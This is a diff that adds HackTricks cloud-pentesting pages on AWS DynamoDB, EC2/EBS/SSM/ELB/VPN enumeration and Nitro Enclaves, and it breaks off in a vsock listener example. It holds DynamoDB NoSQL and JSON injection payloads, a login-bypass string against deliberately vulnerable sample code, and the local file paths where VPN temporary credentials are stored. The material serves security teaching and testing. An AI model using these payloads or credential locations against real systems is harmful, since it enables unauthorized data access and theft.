* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,206 @@
# AWS - DynamoDB Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## DynamoDB
### Basic Information
Amazon DynamoDB is presented by AWS as a **fully managed, serverless, key-value NoSQL database**, tailored for powering high-performance applications regardless of their size. The service ensures robust features including inherent security measures, uninterrupted backups, automated replication across multiple regions, integrated in-memory caching, and convenient data export utilities.
In the context of DynamoDB, instead of establishing a traditional database, **tables are created**. Each table mandates the specification of a **partition key** as an integral component of the **table's primary key**. This partition key, essentially a **hash value**, plays a critical role in both the retrieval of items and the distribution of data across various hosts. This distribution is pivotal for maintaining both scalability and availability of the database. Additionally, there's an option to incorporate a **sort key** to further refine data organization.
### Encryption
By default, DynamoDB uses a KMS key that \*\*belongs to Amazon DynamoDB,\*\*not even the AWS managed key that at least belongs to your account.
<figure><img src="https://lh4.googleusercontent.com/JjtNS7aA-_GRMgZb4v93jWEQJi6DQdUPq0FEpzZPdeyCeNoG05p0NJiV9Zs-ULs_-Tfjmx0W1ZgsE2Ui2ljo7D-1a87Xny-gpLVQO0XmXdFoph9ci1RepbVNwaCe9oPruEZSEDxGTxF5dIv6pW1WpT6kWA=s2048" alt=""><figcaption></figcaption></figure>
### Backups & Export to S3
It's possible to **schedule** the generation of **table backups** or create them on **demand**. Moreover, it's also possible to enable **Point-in-time recovery (PITR) for a table.** Point-in-time recovery provides continuous **backups** of your DynamoDB data for **35 days** to help you protect against accidental write or delete operations.
It's also possible to export **the data of a table to S3**, but the table needs to have **PITR enabled**.
### GUI
There is a GUI for local Dynamo services like [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc, that could be useful: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)
### Enumeration
```bash
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field
#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename
# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>
# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>
# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>
# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
```
### Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md" %}
[aws-dynamodb-unauthenticated-access.md](../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
{% endcontent-ref %}
### Privesc
{% content-ref url="../aws-privilege-escalation/aws-dynamodb-privesc.md" %}
[aws-dynamodb-privesc.md](../aws-privilege-escalation/aws-dynamodb-privesc.md)
{% endcontent-ref %}
### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-dynamodb-post-exploitation.md" %}
[aws-dynamodb-post-exploitation.md](../aws-post-exploitation/aws-dynamodb-post-exploitation.md)
{% endcontent-ref %}
### Persistence
{% content-ref url="../aws-persistence/aws-dynamodb-persistence.md" %}
[aws-dynamodb-persistence.md](../aws-persistence/aws-dynamodb-persistence.md)
{% endcontent-ref %}
## DynamoDB Injection
### SQL Injection
There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**.
{% embed url="https://book.hacktricks.xyz/pentesting-web/sql-injection" %}
### NoSQL Injection
In DynamoDB different **conditions** can be used to retrieve data, like in a common NoSQL Injection if it's possible to **chain more conditions to retrieve** data you could obtain hidden data (or dump the whole table).\
You can find here the conditions supported by DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API\_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
Note that **different conditions** are supported if the data is being accessed via **`query`** or via **`scan`**.
{% hint style="info" %}
Actually, **Query** actions need to specify the **condition "EQ" (equals)** in the **primary** key to works, making it much **less prone to NoSQL injections** (and also making the operation very limited).
{% endhint %}
If you can **change the comparison** performed or add new ones, you could retrieve more data.
```bash
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space
```
{% embed url="https://book.hacktricks.xyz/pentesting-web/nosql-injection" %}
### Raw Json injection
{% hint style="danger" %}
**This vulnerability is based on dynamodb Scan Filter which is now deprecated!**
{% endhint %}
**DynamoDB** accepts **Json** objects to **search** for data inside the DB. If you find that you can write in the json object sent to search, you could make the DB dump, all the contents.
For example, injecting in a request like:
{% code overflow="wrap" %}
```bash
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
```
{% endcode %}
an attacker could inject something like:
`1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`
fix the "EQ" condition searching for the ID 1000 and then looking for all the data with a Id string greater and 0, which is all.
Another **vulnerable example using a login** could be:
```python
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])
dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
```
This would be vulnerable to:
```
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
```
### :property Injection
Some SDKs allows to use a string indicating the filtering to be performed like:
{% code overflow="wrap" %}
```java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
```
{% endcode %}
You need to know that searching in DynamoDB for **substituting** an attribute **value** in **filter expressions** while scanning the items, the tokens should **begin** with the **`:`** character. Such tokens will be **replaced** with actual **attribute value at runtime**.
Therefore, a login like the previous one can be bypassed with something like:
```bash
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,352 @@
# AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## VPC & Networking
Learn what a VPC is and about its components in:
{% content-ref url="aws-vpc-and-networking-basic-information.md" %}
[aws-vpc-and-networking-basic-information.md](aws-vpc-and-networking-basic-information.md)
{% endcontent-ref %}
## EC2
Amazon EC2 is utilized for initiating **virtual servers**. It allows for the configuration of **security** and **networking** and the management of **storage**. The flexibility of Amazon EC2 is evident in its ability to scale resources both upwards and downwards, effectively adapting to varying requirement changes or surges in popularity. This feature diminishes the necessity for precise traffic predictions.
Interesting things to enumerate in EC2:
* Virtual Machines
* SSH Keys
* User Data
* Existing EC2s/AMIs/Snapshots
* Networking
* Networks
* Subnetworks
* Public IPs
* Open ports
* Integrated connections with other networks outside AWS
### Instance Profiles
Using **roles** to grant permissions to applications that run on **EC2 instances** requires a bit of extra configuration. An application running on an EC2 instance is abstracted from AWS by the virtualized operating system. Because of this extra separation, you need an additional step to assign an AWS role and its associated permissions to an EC2 instance and make them available to its applications.
This extra step is the **creation of an** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) attached to the instance. The **instance profile contains the role and** can provide the role's temporary credentials to an application that runs on the instance. Those temporary credentials can then be used in the application's API calls to access resources and to limit access to only those resources that the role specifies. Note that **only one role can be assigned to an EC2 instance** at a time, and all applications on the instance share the same role and permissions.
### Metadata Endpoint
AWS EC2 metadata is information about an Amazon Elastic Compute Cloud (EC2) instance that is available to the instance at runtime. This metadata is used to provide information about the instance, such as its instance ID, the availability zone it is running in, the IAM role associated with the instance, and the instance's hostname.
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf" %}
### Enumeration
```bash
# Get EC2 instances
aws ec2 describe-instances
aws ec2 describe-instance-status #Get status from running instances
# Get user data from each ec2 instance
for instanceid in $(aws ec2 describe-instances --profile <profile> --region us-west-2 | grep -Eo '"i-[a-zA-Z0-9]+' | tr -d '"'); do
echo "Instance ID: $instanceid"
aws ec2 describe-instance-attribute --profile <profile> --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d
echo ""
echo "-------------------"
done
# Instance profiles
aws iam list-instance-profiles
aws iam list-instance-profiles-for-role --role-name <name>
# Get tags
aws ec2 describe-tags
# Get volumes
aws ec2 describe-volume-status
aws ec2 describe-volumes
# Get snapshots
aws ec2 describe-snapshots --owner-ids self
# Scheduled instances
aws ec2 describe-scheduled-instances
# Get custom images
aws ec2 describe-images --owners self
# Get Elastic IPs
aws ec2 describe-addresses
# Get current output
aws ec2 get-console-output --instance-id [id]
# Get VPN customer gateways
aws ec2 describe-customer-gateways
aws ec2 describe-vpn-gateways
aws ec2 describe-vpn-connections
# List conversion tasks to upload/download VMs
aws ec2 describe-conversion-tasks
aws ec2 describe-import-image-tasks
# Get Bundle Tasks
aws ec2 describe-bundle-tasks
# Get Classic Instances
aws ec2 describe-classic-link-instances
# Get Dedicated Hosts
aws ec2 describe-hosts
# Get SSH Key Pairs
aws ec2 describe-key-pairs
# Get Internet Gateways
aws ec2 describe-internet-gateways
# Get NAT Gateways
aws ec2 describe-nat-gateways
# Get subnetworks
aws ec2 describe-subnets
# Get FW rules
aws ec2 describe-network-acls
# Get security groups
aws ec2 describe-security-groups
# Get interfaces
aws ec2 describe-network-interfaces
# Get routes table
aws ec2 describe-route-tables
# Get VPCs
aws ec2 describe-vpcs
aws ec2 describe-vpc-peering-connections
```
### Unauthenticated Access
{% content-ref url="../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md" %}
[aws-ec2-unauthenticated-enum.md](../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
{% endcontent-ref %}
### Privesc
In the following page you can check how to **abuse EC2 permissions to escalate privileges**:
{% content-ref url="../../aws-privilege-escalation/aws-ec2-privesc.md" %}
[aws-ec2-privesc.md](../../aws-privilege-escalation/aws-ec2-privesc.md)
{% endcontent-ref %}
### Post-Exploitation
{% content-ref url="../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/" %}
[aws-ec2-ebs-ssm-and-vpc-post-exploitation](../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/)
{% endcontent-ref %}
## EBS
Amazon **EBS** (Elastic Block Store) **snapshots** are basically static **backups** of AWS EBS volumes. In other words, they are **copies** of the **disks** attached to an **EC2** Instance at a specific point in time. EBS snapshots can be copied across regions and accounts, or even downloaded and run locally.
Snapshots can contain **sensitive information** such as **source code or APi keys**, therefore, if you have the chance, it's recommended to check it.
### Difference AMI & EBS
An **AMI** is used to **launch an EC2 instance**, while an EC2 **Snapshot** is used to **backup and recover data stored on an EBS volume**. While an EC2 Snapshot can be used to create a new AMI, it is not the same thing as an AMI, and it does not include information about the operating system, application server, or other software required to run an application.
### Privesc
In the following page you can check how to **abuse EBS permissions to escalate privileges**:
{% content-ref url="../../aws-privilege-escalation/aws-ebs-privesc.md" %}
[aws-ebs-privesc.md](../../aws-privilege-escalation/aws-ebs-privesc.md)
{% endcontent-ref %}
## SSM
**Amazon Simple Systems Manager (SSM)** allows to remotely manage floats of EC2 instances to make their administrations much more easy. Each of these instances need to be running the **SSM Agent service as the service will be the one getting the actions and performing them** from the AWS API.
**SSM Agent** makes it possible for Systems Manager to update, manage, and configure these resources. The agent **processes requests from the Systems Manager service in the AWS Cloud**, and then runs them as specified in the request.
The **SSM Agent comes**[ **preinstalled in some AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) or you need to [**manually install them**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) on the instances. Also, the IAM Role used inside the instance needs to have the policy **AmazonEC2RoleforSSM** attached to be able to communicate.
### Enumeration
```bash
aws ssm describe-instance-information
aws ssm describe-parameters
aws ssm describe-sessions --state [Active|History]
aws ssm describe-instance-patches --instance-id <id>
aws ssm describe-instance-patch-states --instance-ids <id>
aws ssm describe-instance-associations-status --instance-id <id>
```
You can check in an EC2 instance if Systems Manager is runnign just by executing:
```bash
ps aux | grep amazon-ssm
```
### Privesc
In the following page you can check how to **abuse SSM permissions to escalate privileges**:
{% content-ref url="../../aws-privilege-escalation/aws-ssm-privesc.md" %}
[aws-ssm-privesc.md](../../aws-privilege-escalation/aws-ssm-privesc.md)
{% endcontent-ref %}
## ELB
**Elastic Load Balancing** (ELB) is a **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automatically **distributes incoming application traffic** and scales resources to meet traffic demands.
### Enumeration
```bash
# List internet-facing ELBs
aws elb describe-load-balancers
aws elb describe-load-balancers | jq '.LoadBalancerDescriptions[]| select( .Scheme | contains("internet-facing"))|.DNSName'
# DONT FORGET TO CHECK VERSION 2
aws elbv2 describe-load-balancers
aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName'
aws elbv2 describe-listeners --load-balancer-arn <load_balancer_arn>
```
## Launch Templates & Autoscaling Groups
### Enumeration
{% code overflow="wrap" %}
```bash
# Launch templates
aws ec2 describe-launch-templates
aws ec2 describe-launch-templates --launch-template-id <launch_template_id>
## Get details, like user data
aws ec2 describe-launch-template-versions --launch-template-id <launch_template_id>
# Autoscaling
aws autoscaling describe-auto-scaling-groups
aws autoscaling describe-auto-scaling-instances
aws autoscaling describe-launch-configurations
aws autoscaling describe-load-balancer-target-groups
aws autoscaling describe-load-balancers
```
{% endcode %}
## Nitro
AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture.
Get more information and how to enumerate it from:
{% content-ref url="aws-nitro-enum.md" %}
[aws-nitro-enum.md](aws-nitro-enum.md)
{% endcontent-ref %}
## VPN
A VPN allows to connect your **on-premise network (site-to-site VPN)** or the **workers laptops (Client VPN)** with a **AWS VPC** so services can accessed without needing to expose them to the internet.
#### Basic AWS VPN Components
1. **Customer Gateway**:
* A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection.
* It is essentially a physical device or software application on your side of the Site-to-Site VPN connection.
* You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway.
* It serves as a reference point for setting up the VPN connection and doesn't incur additional charges.
2. **Virtual Private Gateway**:
* A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection.
* It is attached to your VPC and serves as the target for your VPN connection.
* VPG is the AWS side endpoint for the VPN connection.
* It handles the secure communication between your VPC and your on-premises network.
3. **Site-to-Site VPN Connection**:
* A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel.
* This type of connection requires a Customer Gateway and a Virtual Private Gateway.
* It's used for secure, stable, and consistent communication between your data center or network and your AWS environment.
* Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection.
4. **Client VPN Endpoint**:
* A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions.
* It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network.
* It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks.
* With Client VPN, each client device uses a VPN client software to establish a secure connection.
You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn).
### Enumeration
```bash
# VPN endpoints
## Check used subnetwork, authentication, SGs, connected...
aws ec2 describe-client-vpn-endpoints
## Get AWS network info related to the vpn endpoint
aws ec2 describe-client-vpn-target-networks --client-vpn-endpoint-id <id>
## Get AWS subnet & ip range the VPN iconnected to
aws ec2 describe-client-vpn-routes --client-vpn-endpoint-id <id>
## Check authorization rules
aws ec2 describe-client-vpn-authorization-rules --client-vpn-endpoint-id <id>
## Get current connections to the VPN endpoint
aws ec2 describe-client-vpn-connections --client-vpn-endpoint-id <id>
# Get VPN gateways and check with which VPC each is connected
aws ec2 describe-vpn-gateways
# Get VPN site-to-site connections
aws ec2 describe-vpn-connections
```
### Local Enumeration
**Local Temporary Credentials**
When AWS VPN Client is used to connect to a VPN, the user will usually **login in AWS** to get access to the VPN. Then, some **AWS credentials are created and stored** locally to establish the VPN connection. These credentials are **stored in** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` and contains an **AccessKey**, a **SecretKey** and a **Token**.
The credentials belong to the user `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: research more about the permissions of this credentials).
**opvn config files**
If a **VPN connection was stablished** you should search for **`.opvn`** config files in the system. Moreover, one place where you could find the **configurations** is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
#### **Post Exploitaiton**
{% content-ref url="../../aws-post-exploitation/aws-vpn-post-exploitation.md" %}
[aws-vpn-post-exploitation.md](../../aws-post-exploitation/aws-vpn-post-exploitation.md)
{% endcontent-ref %}
## References
* [https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html](https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,306 @@
# AWS - Nitro Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture.
### Nitro Enclaves
**AWS Nitro Enclaves** provides a secure, **isolated compute environment within Amazon EC2 instances**, specifically designed for processing highly sensitive data. Leveraging the AWS Nitro System, these enclaves ensure robust **isolation and security**, ideal for **handling confidential information** such as PII or financial records. They feature a minimalist environment, significantly reducing the risk of data exposure. Additionally, Nitro Enclaves support cryptographic attestation, allowing users to verify that only authorized code is running, crucial for maintaining strict compliance and data protection standards.
{% hint style="danger" %}
Nitro Enclave images are **run from inside EC2 instances** and you cannot see from the AWS web console if an EC2 instances is running images in Nitro Enclave or not.
{% endhint %}
## Nitro Enclave CLI installation
Follow the all instructions [**from the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). However, these are the most important ones:
```bash
# Install tools
sudo amazon-linux-extras install aws-nitro-enclaves-cli -y
sudo yum install aws-nitro-enclaves-cli-devel -y
# Config perms
sudo usermod -aG ne $USER
sudo usermod -aG docker $USER
# Check installation
nitro-cli --version
# Start and enable the Nitro Enclaves allocator service.
sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service
```
## Nitro Enclave Images
The images that you can run in Nitro Enclave are based on docker images, so you can create your Nitro Enclave images from docker images like:
```bash
# You need to have the docker image accesible in your running local registry
# Or indicate the full docker image URL to access the image
nitro-cli build-enclave --docker-uri <docker-img>:<tag> --output-file nitro-img.eif
```
As you can see the Nitro Enclave images use the extension **`eif`** (Enclave Image File).
The output will look similar to:
```
Using the locally available Docker image...
Enclave Image successfully created.
{
"Measurements": {
"HashAlgorithm": "Sha384 { ... }",
"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
}
}
```
### Run an Image
As per [**the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), in order to run an enclave image you need to assign it memory of **at least 4 times the size of the `eif` file**. It's possible to configure the default resources to give to it in the file
```shell
/etc/nitro_enclaves/allocator.yaml
```
{% hint style="danger" %}
Always remember that you need to **reserve some resources for the parent EC2** instance also!
{% endhint %}
After knowing the resources to give to an image and even having modified the configuration file it's possible to run an enclave image with:
{% code overflow="wrap" %}
```shell
# Restart the service so the new default values apply
sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service
# Indicate the CPUs and memory to give
nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16
```
{% endcode %}
### Enumerate Enclaves
If you compromise and EC2 host it's possible to get a list of running enclave images with:
```bash
nitro-cli describe-enclaves
```
It's **not possible to get a shell** inside a running enclave image because thats the main purpose of enclave, however, if you used the parameter **`--debug-mode`**, it's possible to get the **stdout** of it with:
```shell
ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID")
nitro-cli console --enclave-id ${ENCLAVE_ID}
```
### Terminate Enclaves
If an attacker compromise an EC2 instance by default he won't be able to get a shell inside of them, but he will be able to **terminate them** with:
```shell
nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID}
```
## Vsocks
The only way to communicate with an **enclave** running image is using **vsocks**.
**Virtual Socket (vsock)** is a socket family in Linux specifically designed to facilitate **communication** between virtual machines (**VMs**) and their **hypervisors**, or between VMs **themselves**. Vsock enables efficient, **bi-directional communication** without relying on the host's networking stack. This makes it possible for VMs to communicate even without network configurations, **using a 32-bit Context ID (CID) and port numbers** to identify and manage connections. The vsock API supports both stream and datagram socket types, similar to TCP and UDP, providing a versatile tool for user-level applications in virtual environments.
{% hint style="success" %}
Therefore, an vsock address looks like this: `<CID>:<Port>`
{% endhint %}
To find **CIDs** of the enclave running images you could just execute the following cmd and thet the **`EnclaveCID`**:
<pre class="language-bash"><code class="lang-bash">nitro-cli describe-enclaves
[
{
"EnclaveName": "secure-channel-example",
"EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
"ProcessID": 10131,
<strong> "EnclaveCID": 16,
</strong> "NumberOfCPUs": 2,
"CPUIDs": [
1,
3
],
"MemoryMiB": 1024,
"State": "RUNNING",
"Flags": "DEBUG_MODE",
"Measurements": {
"HashAlgorithm": "Sha384 { ... }",
"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
}
}
]
</code></pre>
{% hint style="warning" %}
Note that from the host there isn't any way to know if a CID is exposing any port! Unless using some **vsock port scanner like** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner).
{% endhint %}
### Vsock Server/Listener
Find here a couple of examples:
* [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py)
<details>
<summary>Simple Python Listener</summary>
```python
#!/usr/bin/env python3
# From
https://medium.com/@F.DL/understanding-vsock-684016cf0eb0
import socket
CID = socket.VMADDR_CID_HOST
PORT = 9999
s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
s.bind((CID, PORT))
s.listen()
(conn, (remote_cid, remote_port)) = s.accept()
